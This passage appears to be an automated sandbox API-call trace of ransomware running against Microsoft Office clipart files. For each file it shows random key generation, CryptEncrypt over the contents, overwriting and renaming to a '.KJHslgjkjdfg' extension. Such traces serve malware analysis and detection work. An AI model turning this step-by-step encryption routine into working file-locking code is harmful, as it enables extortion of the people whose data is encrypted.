(in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.554] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.554] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.554] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.554] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa8a6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa8a6, lpOverlapped=0x0) returned 1 [0239.555] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa8b0, dwBufLen=0xa8b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa8b0) returned 1 [0239.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.556] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa8b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa8b0, lpOverlapped=0x0) returned 1 [0239.556] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.556] SetEndOfFile (hFile=0x130) returned 1 [0239.559] GetProcessHeap () returned 0x2ef0000 [0239.559] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.559] GetProcessHeap () returned 0x2ef0000 [0239.559] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.kjhslgjkjdfg")) returned 1 [0239.561] CloseHandle (hObject=0x130) returned 1 [0239.561] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0239.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.563] GetProcessHeap () returned 0x2ef0000 [0239.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.563] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0239.586] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.586] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.586] GetProcessHeap () returned 0x2ef0000 [0239.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.587] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2566, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2566, lpOverlapped=0x0) returned 1 [0239.593] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2570, dwBufLen=0x2570 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2570) returned 1 [0239.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.594] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2570, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2570, lpOverlapped=0x0) returned 1 [0239.594] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.594] SetEndOfFile (hFile=0x130) returned 1 [0239.597] GetProcessHeap () returned 0x2ef0000 [0239.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.597] GetProcessHeap () returned 0x2ef0000 [0239.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.kjhslgjkjdfg")) returned 1 [0239.599] CloseHandle (hObject=0x130) returned 1 [0239.599] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0239.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.600] GetProcessHeap () returned 0x2ef0000 [0239.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.600] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.600] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.606] GetProcessHeap () returned 0x2ef0000 [0239.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.606] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.607] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6ca8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6ca8, lpOverlapped=0x0) returned 1 [0239.607] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cb0, dwBufLen=0x6cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cb0) returned 1 [0239.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.608] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6cb0, lpOverlapped=0x0) returned 1 [0239.608] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.608] SetEndOfFile (hFile=0x130) returned 1 [0239.611] GetProcessHeap () returned 0x2ef0000 [0239.611] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.611] GetProcessHeap () returned 0x2ef0000 [0239.611] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.kjhslgjkjdfg")) returned 1 [0239.613] CloseHandle (hObject=0x130) returned 1 [0239.613] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0239.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.614] GetProcessHeap () returned 0x2ef0000 [0239.614] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.614] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.614] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.713] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.713] GetProcessHeap () returned 0x2ef0000 [0239.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.714] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.714] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.714] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1088, lpOverlapped=0x0) returned 1 [0239.840] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090, dwBufLen=0x1090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1090) returned 1 [0239.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.840] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1090, lpOverlapped=0x0) returned 1 [0239.841] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.841] SetEndOfFile (hFile=0x130) returned 1 [0239.844] GetProcessHeap () returned 0x2ef0000 [0239.844] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.844] GetProcessHeap () returned 0x2ef0000 [0239.844] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.kjhslgjkjdfg")) returned 1 [0239.846] CloseHandle (hObject=0x130) returned 1 [0239.846] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0239.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.847] GetProcessHeap () returned 0x2ef0000 [0239.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.847] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.847] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0240.293] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.294] GetProcessHeap () returned 0x2ef0000 [0240.294] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0240.294] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0240.294] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0240.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0240.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0240.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0240.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0240.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0240.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0240.294] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0240.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0240.294] 